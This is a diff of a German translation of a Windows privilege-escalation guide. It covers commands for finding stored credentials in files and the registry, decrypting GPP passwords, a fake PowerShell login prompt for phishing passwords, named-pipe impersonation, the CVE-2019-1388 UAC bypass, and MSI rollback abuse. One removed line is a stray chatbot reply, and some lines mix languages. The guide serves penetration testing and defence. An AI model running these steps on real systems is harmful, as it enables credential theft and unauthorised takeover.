+Viele Leute verwenden die StickyNotes-App auf Windows-Arbeitsstationen, um **Passwörter zu speichern** und andere Informationen, ohne zu wissen, dass es sich um eine Datenbankdatei handelt. Diese Datei befindet sich unter `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` und es lohnt sich immer, danach zu suchen und sie zu untersuchen.
 
 ### AppCmd.exe
 
-**Beachte, dass du Administratorrechte benötigst und der Prozess unter einer hohen Integritätsstufe laufen muss, um Passwörter aus AppCmd.exe wiederherzustellen.**\
+**Beachten Sie, dass zum Wiederherstellen von Passwörtern aus AppCmd.exe Administratorrechte erforderlich sind und der Prozess mit einer hohen Integritätsstufe ausgeführt werden muss.**\
 **AppCmd.exe** befindet sich im Verzeichnis `%systemroot%\system32\inetsrv\`.\  
 Wenn diese Datei vorhanden ist, ist es möglich, dass einige **credentials** konfiguriert wurden und **wiederhergestellt** werden können.
 
@@ -899,13 +963,13 @@ $ErrorActionPreference = $OrigError
 ### SCClient / SCCM
 
 Prüfe, ob `C:\Windows\CCM\SCClient.exe` existiert .\
-Installer werden **mit SYSTEM-Privilegien ausgeführt**, viele sind anfällig für **DLL Sideloading (Info von** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Installers werden **mit SYSTEM privileges ausgeführt**, viele sind anfällig für **DLL Sideloading (Info von** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
 ```bash
 $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
 if ($result) { $result }
 else { Write "Not Installed." }
 ```
-## Dateien und Registry (Zugangsdaten)
+## Dateien und Registry (Credentials)
 
 ### Putty Creds
 ```bash
@@ -915,21 +979,21 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_
 ```
 reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
 ```
-### SSH-Schlüssel in der Registrierung
+### SSH-Schlüssel in der Registry
 
-SSH private keys können im Registrierungsschlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher solltest du nachsehen, ob sich dort etwas Interessantes befindet:
+SSH-Private-Keys können im Registry-Schlüssel `HKCU\Software\OpenSSH\Agent\Keys` gespeichert werden, daher solltest du prüfen, ob dort etwas Interessantes zu finden ist:
 ```bash
 reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 ```
-Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH key. Er ist verschlüsselt gespeichert, kann aber leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\
-Mehr Informationen zu dieser Technik hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
+Wenn Sie einen Eintrag in diesem Pfad finden, handelt es sich wahrscheinlich um einen gespeicherten SSH-Schlüssel. Er ist verschlüsselt gespeichert, kann aber leicht mit [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) entschlüsselt werden.\
+Weitere Informationen zu dieser Technik finden Sie hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
 
-Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie Folgendes aus:
+Wenn der `ssh-agent`-Dienst nicht läuft und Sie möchten, dass er beim Booten automatisch startet, führen Sie aus:
 ```bash
 Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
 ```
 > [!TIP]
-> Es sieht so aus, als sei diese Technik nicht mehr gültig. Ich habe versucht, einige ssh keys zu erstellen, sie mit `ssh-add` hinzuzufügen und mich per ssh an einer Maschine anzumelden. Die Registry HKCU\Software\OpenSSH\Agent\Keys existiert nicht und procmon hat während der asymmetrischen Schlüssel-Authentifizierung nicht die Verwendung von `dpapi.dll` festgestellt.
+> Es sieht so aus, als wäre diese Technik nicht mehr gültig. Ich habe versucht, einige ssh-Schlüssel zu erstellen, sie mit `ssh-add` hinzuzufügen und mich per ssh auf einer Maschine anzumelden. Der Registrierungspfad HKCU\Software\OpenSSH\Agent\Keys existiert nicht, und procmon hat während der asymmetrischen Schlüsselauthentifizierung nicht festgestellt, dass `dpapi.dll` verwendet wurde.
 
 ### Unbeaufsichtigte Dateien
 ```
@@ -946,7 +1010,7 @@ C:\unattend.txt
 C:\unattend.inf
 dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
 ```
-Sie können diese Dateien auch mit **metasploit** durchsuchen: _post/windows/gather/enum_unattend_
+Sie können diese Dateien auch mit **metasploit** suchen: _post/windows/gather/enum_unattend_
 
 Beispielinhalt:
 ```xml
@@ -967,7 +1031,7 @@ Beispielinhalt:
 </LocalAccounts>
 </UserAccounts>
 ```
-### SAM & SYSTEM Sicherungen
+### SAM- und SYSTEM-Sicherungen
 ```bash
 # Usually %SYSTEMROOT% = C:\Windows
 %SYSTEMROOT%\repair\SAM
@@ -993,9 +1057,9 @@ Suche nach einer Datei namens **SiteList.xml**
 
 ### Zwischengespeichertes GPP-Passwort
 
-Eine Funktion war früher verfügbar, die die Bereitstellung benutzerdefinierter lokaler Administrator-Konten auf einer Gruppe von Maschinen über Group Policy Preferences (GPP) erlaubte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), als XML-Dateien in SYSVOL gespeichert, von jedem Domain-Benutzer eingesehen werden. Zweitens konnten die Passwörter in diesen GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt waren, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da Benutzer so erhöhte Privilegien erlangen konnten.
+Es gab früher eine Funktion, die die Bereitstellung benutzerdefinierter lokaler Administrator-Konten auf einer Gruppe von Rechnern über Group Policy Preferences (GPP) ermöglichte. Diese Methode wies jedoch erhebliche Sicherheitsmängel auf. Erstens konnten die Group Policy Objects (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer eingesehen werden. Zweitens konnten die Passwörter in diesen GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt sind, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernstes Risiko dar, da dadurch Benutzern erhöhte Privilegien ermöglicht werden konnten.
 
-Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien scannt, die ein nicht leeres "cpassword"-Feld enthalten. Beim Auffinden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über das GPP und den Speicherort der Datei, was bei der Identifizierung und Behebung dieser Sicherheitslücke hilft.
+Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die lokal zwischengespeicherte GPP-Dateien nach einem nicht-leeren "cpassword"-Feld durchsucht. Wenn eine solche Datei gefunden wird, entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über das GPP und den Speicherort der Datei, was bei der Identifikation und Behebung dieser Sicherheitslücke hilft.
 
 Suche in `C:\ProgramData\Microsoft\Group Policy\history` oder in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (vor Windows Vista)_ nach diesen Dateien:
 
@@ -1011,11 +1075,11 @@ Suche in `C:\ProgramData\Microsoft\Group Policy\history` oder in _**C:\Documents
 #To decrypt these passwords you can decrypt it using
 gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
 ```
-Mit crackmapexec die Passwörter abrufen:
+crackmapexec verwenden, um die Passwörter zu erhalten:
 ```bash
 crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
 ```
-### IIS Web-Konfiguration
+### IIS Web Config
 ```bash
 Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 ```
@@ -1029,7 +1093,7 @@ C:\inetpub\wwwroot\web.config
 Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
 ```
-Beispiel einer web.config mit Zugangsdaten:
+Beispiel einer web.config mit Anmeldeinformationen:
 ```xml
 <authentication mode="Forms">
 <forms name="login" loginUrl="/admin">
@@ -1069,7 +1133,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
 ```
 ### Nach credentials fragen
 
-Du kannst den Benutzer immer **bitten, seine credentials einzugeben oder sogar die credentials eines anderen Benutzers**, wenn du denkst, dass er sie kennen könnte (beachte, dass es wirklich **riskant** ist, den Client direkt nach den **credentials** zu **fragen**):
+Du kannst immer **den user auffordern, seine credentials oder sogar die credentials eines anderen user einzugeben**, wenn du denkst, dass er sie kennen könnte (beachte, dass **das Bitten**, den client direkt um die **credentials** zu fragen, wirklich **riskant** ist):
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1079,7 +1143,7 @@ $cred.GetNetworkCredential() | fl
 ```
 ### **Mögliche Dateinamen, die credentials enthalten**
 
-Bekannte Dateien, die vor einiger Zeit **passwords** im **clear-text** oder als **Base64** enthielten.
+Bekannte Dateien, die vor einiger Zeit **passwords** in **clear-text** oder **Base64** enthielten
 ```bash
 $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
 vnc.ini, ultravnc.ini, *vnc*
@@ -1143,7 +1207,7 @@ TypedURLs       #IE
 %USERPROFILE%\ntuser.dat
 %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
 ```
-Ich habe keinen Zugriff auf dein Repository. Bitte füge den Inhalt von src/windows-hardening/windows-local-privilege-escalation/README.md (oder die Liste der vorgeschlagenen Dateien), die ich durchsuchen und ins Deutsche übersetzen soll, hier ein. Wenn du nach einem spezifischen Begriff suchen möchtest, nenne bitte den Suchbegriff.
+Durchsuche alle vorgeschlagenen Dateien:
 ```
 cd C:\
 dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
@@ -1152,15 +1216,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
 ```
 Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
 ```
-### Zugangsdaten im Papierkorb
+### Credentials in the RecycleBin
 
-Sie sollten auch den Papierkorb überprüfen, um darin nach Zugangsdaten zu suchen
+Sie sollten auch den RecycleBin überprüfen, um dort nach credentials zu suchen
 
-Um **Passwörter wiederherzustellen**, die von mehreren Programmen gespeichert wurden, können Sie Folgendes verwenden: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
+Um **recover passwords** zu finden, die von mehreren Programmen gespeichert wurden, können Sie verwenden: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
 
 ### In der Registry
 
-**Andere mögliche Registry-Schlüssel mit Zugangsdaten**
+**Weitere mögliche Registry-Schlüssel mit credentials**
 ```bash
 reg query "HKCU\Software\ORL\WinVNC3\Password"
 reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
@@ -1171,10 +1235,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
 
 ### Browser-Verlauf
 
-Sie sollten nach DBs suchen, in denen Passwörter von **Chrome oder Firefox** gespeichert sind.\
-Prüfen Sie auch den Verlauf, Lesezeichen und Favoriten der Browser — dort könnten ebenfalls **Passwörter** gespeichert sein.
+Du solltest nach dbs suchen, in denen Passwörter von **Chrome oder Firefox** gespeichert sind.\
+Prüfe auch den Verlauf, Lesezeichen und Favoriten der Browser, da dort möglicherweise einige **Passwörter** gespeichert sind.
 
-Tools, um Passwörter aus Browsern zu extrahieren:
+Tools zum Extrahieren von Passwörtern aus Browsern:
 
 - Mimikatz: `dpapi::chrome`
 - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb)
@@ -1183,17 +1247,17 @@ Tools, um Passwörter aus Browsern zu extrahieren:
 
 ### **COM DLL Overwriting**
 
-**Component Object Model (COM)** ist eine im Windows-Betriebssystem integrierte Technologie, die die **Interkommunikation** zwischen Softwarekomponenten in verschiedenen Sprachen ermöglicht. Jede COM-Komponente ist **identified via a class ID (CLSID)** und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die durch interface IDs (IIDs) identifiziert werden.
+**Component Object Model (COM)** ist eine im Windows-Betriebssystem integrierte Technologie, die die **intercommunication** zwischen Softwarekomponenten verschiedener Sprachen ermöglicht. Jede COM-Komponente ist **identified via a class ID (CLSID)** und jede Komponente stellt Funktionalität über eine oder mehrere Schnittstellen bereit, die durch **interface IDs (IIDs)** identifiziert werden.
 
-COM-Klassen und -Schnittstellen werden in der Registry unter **HKEY\CLASSES\ROOT\CLSID** bzw. **HKEY\CLASSES\ROOT\Interface** definiert. Diese Registry entsteht durch Zusammenführung von **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.**
+COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.**
 
 Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral).
 
 ![](<../../images/image (729).png>)
 
-Im Grunde gilt: Wenn Sie eine der auszuführenden **DLLs überschreiben** können, können Sie die **Privilegien eskalieren**, sofern diese DLL von einem anderen Benutzer ausgeführt wird.
+Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user.
 
-Um zu sehen, wie Angreifer COM Hijacking als Persistence-Mechanismus verwenden, siehe:
+To learn how attackers use COM Hijacking as a persistence mechanism check:
 
 
 {{#ref}}
@@ -1202,7 +1266,7 @@ com-hijacking.md
 
 ### **Generische Passwortsuche in Dateien und der Registry**
 
-Nach Dateiinhalten suchen
+**Suche nach Dateiinhalten**
 ```bash
 cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
 findstr /si password *.xml *.ini *.txt *.config
@@ -1214,20 +1278,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
 where /R C:\ user.txt
 where /R C:\ *.ini
 ```
-**Die Registry nach Schlüsselnamen und Passwörtern durchsuchen**
+**Suche in der Registry nach Schlüsselnamen und Passwörtern**
 ```bash
 REG QUERY HKLM /F "password" /t REG_SZ /S /K
 REG QUERY HKCU /F "password" /t REG_SZ /S /K
 REG QUERY HKLM /F "password" /t REG_SZ /S /d
 REG QUERY HKCU /F "password" /t REG_SZ /S /d
 ```
-### Tools, die nach passwords suchen
+### Tools, die nach Passwörtern suchen
 
-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf** plugin. Ich habe dieses Plugin erstellt, um **automatisch jedes metasploit POST module auszuführen, das nach credentials** im Opfer sucht.\
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) durchsucht automatisch alle Dateien, die die auf dieser Seite erwähnten passwords enthalten.\
-[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges tool, um passwords aus einem System zu extrahieren.
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ist ein msf**-Plugin. Ich habe dieses Plugin erstellt, um **automatisch jedes metasploit POST-Modul auszuführen, das nach Zugangsdaten** im Opfer sucht.\
+[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sucht automatisch nach allen Dateien, die Passwörter enthalten, wie auf dieser Seite erwähnt.\
+[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ist ein weiteres großartiges Tool, um Passwörter aus einem System zu extrahieren.
 
-Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) sucht nach **sessions**, **usernames** und **passwords** verschiedener Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY und RDP)
+Das Tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) durchsucht **Sessions**, **Benutzernamen** und **Passwörter** mehrerer Tools, die diese Daten im Klartext speichern (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)
 ```bash
 Import-Module path\to\SessionGopher.ps1;
 Invoke-SessionGopher -Thorough
@@ -1236,30 +1300,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ```
 ## Leaked Handlers
 
-Stell dir vor, dass **ein Prozess, der als SYSTEM läuft, einen neuen Prozess öffnet** (`OpenProcess()`) mit **vollen Rechten**. Derselbe Prozess **erstellt außerdem einen neuen Prozess** (`CreateProcess()`) **mit niedrigen Privilegien, der jedoch alle offenen Handles des Hauptprozesses erbt**.\
-Wenn du dann **volle Rechte auf den niedrig privilegierten Prozess** hast, kannst du das **offene Handle auf den privilegierten Prozess**, das mit `OpenProcess()` erstellt wurde, übernehmen und **Shellcode injizieren**.\
+Stellen Sie sich vor, dass **ein Prozess, der als SYSTEM läuft, einen neuen Prozess öffnet** (`OpenProcess()`) mit **vollständigem Zugriff**. Derselbe Prozess **erstellt außerdem einen neuen Prozess** (`CreateProcess()`) **mit niedrigen Rechten, der jedoch alle offenen Handles des Hauptprozesses erbt**.\
+Wenn Sie dann **vollständigen Zugriff auf den niedrig privilegierten Prozess** haben, können Sie das **offene Handle zum privilegierten Prozess, das mit `OpenProcess()` erstellt wurde, greifen** und **shellcode injizieren**.\
 [Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
 [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 
 ## Named Pipe Client Impersonation
 
-Gemeinsame Speicherbereiche, so genannte **pipes**, ermöglichen Prozesskommunikation und Datenaustausch.
+Gemeinsam genutzte Speicherbereiche, sogenannte **pipes**, ermöglichen Prozesskommunikation und Datenaustausch.
 
-Windows stellt die Funktion **Named Pipes** bereit, die es nicht zusammenhängenden Prozessen erlaubt, Daten auszutauschen, sogar über verschiedene Netzwerke. Das ähnelt einer Client/Server-Architektur, mit den Rollen **named pipe server** und **named pipe client**.
+Windows bietet eine Funktion namens **Named Pipes**, die es nicht zusammenhängenden Prozessen erlaubt, Daten auszutauschen, sogar über verschiedene Netzwerke. Das ähnelt einer Client/Server-Architektur, mit den Rollen **named pipe server** und **named pipe client**.
 
-Wenn Daten von einem **client** durch eine pipe gesendet werden, kann der **server**, der die pipe eingerichtet hat, die Identität des **client** übernehmen, sofern er die notwendigen **SeImpersonate**-Rechte besitzt. Das Auffinden eines **privilegierten Prozesses**, der über eine pipe kommuniziert, die du nachahmen kannst, bietet die Möglichkeit, durch Übernahme der Identität dieses Prozesses höhere Privilegien zu erlangen, sobald er mit der von dir eingerichteten pipe interagiert. Anleitungen zur Durchführung eines solchen Angriffs findest du [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system).
+Wenn Daten von einem **client** durch eine Pipe gesendet werden, kann der **server**, der die Pipe eingerichtet hat, die **Identität** des **client** übernehmen, vorausgesetzt er verfügt über die notwendigen **SeImpersonate**-Rechte. Das Identifizieren eines **privilegierten Prozesses**, der über eine Pipe kommuniziert, die Sie nachahmen können, bietet die Möglichkeit, **höhere Privilegien zu erlangen**, indem Sie die Identität dieses Prozesses annehmen, sobald er mit der von Ihnen eingerichteten Pipe interagiert. Anleitungen zur Durchführung eines solchen Angriffs finden Sie [**hier**](named-pipe-client-impersonation.md) und [**hier**](#from-high-integrity-to-system).
 
-Außerdem erlaubt das folgende Tool, eine named pipe-Kommunikation mit einem Tool wie burp abzufangen: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool erlaubt es, alle Pipes aufzulisten und zu sehen, um privescs zu finden** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+Außerdem erlaubt das folgende Tool, **eine named pipe-Kommunikation mit einem Tool wie burp abzufangen:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **und dieses Tool ermöglicht es, alle Pipes aufzulisten und anzusehen, um privescs zu finden** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
 ## Sonstiges
 
-### Dateierweiterungen, die in Windows Code ausführen können
+### Dateiendungen, die in Windows Code ausführen können
 
 Siehe die Seite **[https://filesec.io/](https://filesec.io/)**
 
 ### **Überwachung von Befehlszeilen auf Passwörter**
 
-Wenn man als Benutzer eine Shell erhält, können geplante Tasks oder andere Prozesse ausgeführt werden, die **Anmeldedaten in der Befehlszeile übergeben**. Das untenstehende Skript erfasst Prozess-Befehlszeilen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es Unterschiede ausgibt.
+Wenn man eine Shell als Benutzer erhält, können geplante Tasks oder andere Prozesse ausgeführt werden, die **Zugangsdaten in der Befehlszeile übergeben**. Das untenstehende Skript erfasst die Befehlszeilen von Prozessen alle zwei Sekunden und vergleicht den aktuellen Zustand mit dem vorherigen, wobei es Unterschiede ausgibt.
 ```bash
 while($true)
 {
@@ -1269,15 +1333,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
 Compare-Object -ReferenceObject $process -DifferenceObject $process2
 }
 ```
-## Stealing passwords from processes
+## Passwörter aus Prozessen stehlen
 
-## Von Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
+## Vom Low Priv User zu NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
 
-Wenn Sie Zugriff auf die grafische Oberfläche (z. B. über die Konsole oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein Terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" von einem unprivileged user auszuführen.
+Wenn Sie Zugriff auf die grafische Oberfläche (via console oder RDP) haben und UAC aktiviert ist, ist es in einigen Versionen von Microsoft Windows möglich, ein terminal oder einen anderen Prozess wie "NT\AUTHORITY SYSTEM" aus einem unprivilegierten Benutzer heraus zu starten.
 
-Dadurch kann man sowohl escalate privileges als auch bypass UAC gleichzeitig über dieselbe Schwachstelle erreichen. Außerdem muss nichts installiert werden, und die während des Prozesses verwendete binary ist signiert und von Microsoft ausgegeben.
+Dies macht es möglich, Privilegien zu eskalieren und UAC gleichzeitig mit derselben Schwachstelle zu umgehen. Zusätzlich ist es nicht nötig, etwas zu installieren, und die während des Prozesses verwendete Binärdatei ist von Microsoft signiert und ausgestellt.
 
-Zu den betroffenen Systemen gehören unter anderem:
+Einige der betroffenen Systeme sind die folgenden:
 ```
 SERVER
 ======
@@ -1299,7 +1363,7 @@ Windows 10 1607	14393	** link OPENED AS SYSTEM **
 Windows 10 1703	15063	link NOT opened
 Windows 10 1709	16299	link NOT opened
 ```
-Um diese Schwachstelle auszunutzen, sind die folgenden Schritte erforderlich:
+Um diese vulnerability auszunutzen, sind die folgenden Schritte erforderlich:
 ```
 1) Right click on the HHUPD.EXE file and run it as Administrator.
 
@@ -1321,111 +1385,110 @@ You have all the necessary files and information in the following GitHub reposit
 
 https://github.com/jas502n/CVE-2019-1388
 
-## Vom Administrator (Medium) zum High-Integrity-Level / UAC Bypass
+## From Administrator Medium to High Integrity Level / UAC Bypass
 
-Lies das, um mehr über Integrity Levels zu erfahren:
+Lies dies, um mehr über Integritätsstufen zu erfahren:
 
 
 {{#ref}}
 integrity-levels.md
 {{#endref}}
 
-Lies dann das hier, um mehr über UAC und UAC bypasses zu erfahren:
+Lies dann **dies, um mehr über UAC und UAC-Bypässe** zu erfahren:
 
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
 {{#endref}}
 
-## Von beliebigem Ordner löschen/verschieben/umbenennen zu SYSTEM EoP
+## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
 
-Die in [**diesem Blogpost**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) beschriebene Technik mit Exploit-Code [**hier verfügbar**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).
+Die in diesem [**Blogpost**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) beschriebene Technik mit einem Exploit-Code [**hier verfügbar**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).
 
-Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer auszunutzen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen **bösartigen MSI-Installer** erstellen, der dazu verwendet wird, den `C:\Config.Msi`-Ordner zu kapern; dieser wird später vom Windows Installer verwendet, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern, wobei die Rollback-Dateien so verändert werden, dass sie die bösartige Nutzlast enthalten.
+Der Angriff besteht im Wesentlichen darin, die Rollback-Funktion des Windows Installer zu missbrauchen, um legitime Dateien während des Deinstallationsprozesses durch bösartige zu ersetzen. Dazu muss der Angreifer einen **bösartigen MSI-Installer** erstellen, der verwendet wird, um den `C:\Config.Msi`-Ordner zu hijacken. Dieser Ordner wird später vom Windows Installer verwendet, um Rollback-Dateien während der Deinstallation anderer MSI-Pakete zu speichern — wobei die Rollback-Dateien so verändert werden, dass sie die bösartige Nutzlast enthalten.
 
 Die zusammengefasste Technik ist wie folgt:
 
-1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)**
+1. **Stage 1 – Vorbereitung für das Hijack (lass `C:\Config.Msi` leer)**
 
-- Step 1: Install the MSI
-- Erstelle eine `.msi`, die eine harmlose Datei (z. B. `dummy.txt`) in einem beschreibbaren Ordner (`TARGETDIR`) installiert.
-- Markiere den Installer als **"UAC Compliant"**, sodass ein **non-admin user** ihn ausführen kann.
-- Halte nach der Installation einen **Handle** auf die Datei offen.
+- Schritt 1: Installiere das MSI
+  - Erstelle ein `.msi`, das eine harmlose Datei (z. B. `dummy.txt`) in einem beschreibbaren Ordner (`TARGETDIR`) installiert.
+  - Markiere den Installer als **"UAC Compliant"**, sodass ein **Nicht-Admin-Benutzer** ihn ausführen kann.
+  - Halte einen **Handle** auf die Datei nach der Installation offen.
 
-- Step 2: Begin Uninstall
-- Deinstalliere dieselbe `.msi`.
-- Der Deinstallationsprozess beginnt, Dateien nach `C:\Config.Msi` zu verschieben und sie in `.rbf`-Dateien (Rollback-Backups) umzubenennen.
-- **Poll the open file handle** mit `GetFinalPathNameByHandle`, um zu erkennen, wann die Datei zu `C:\Config.Msi\<random>.rbf` wird.
+- Schritt 2: Beginne die Deinstallation
+  - Deinstalliere dasselbe `.msi`.
+  - Der Deinstallationsprozess beginnt, Dateien nach `C:\Config.Msi` zu verschieben und sie in `.rbf`-Dateien (Rollback-Backups) umzubenennen.
+  - **Überwache den offenen Datei-Handle** mit `GetFinalPathNameByHandle`, um zu erkennen, wann die Datei zu `C:\Config.Msi\<random>.rbf` wird.
 
-- Step 3: Custom Syncing
-- Die `.msi` enthält eine **custom uninstall action (`SyncOnRbfWritten`)**, die:
-- signalisiert, wenn `.rbf` geschrieben wurde.
-- und dann auf ein anderes Event wartet, bevor die Deinstallation fortfährt.
+- Schritt 3: Benutzerdefinierte Synchronisation
+  - Das `.msi` enthält eine **benutzerdefinierte Deinstallationsaktion (`SyncOnRbfWritten`)**, die:
+    - signalisiert, wenn `.rbf` geschrieben wurde,
+    - und dann auf ein anderes Event wartet, bevor die Deinstallation fortgesetzt wird.
 
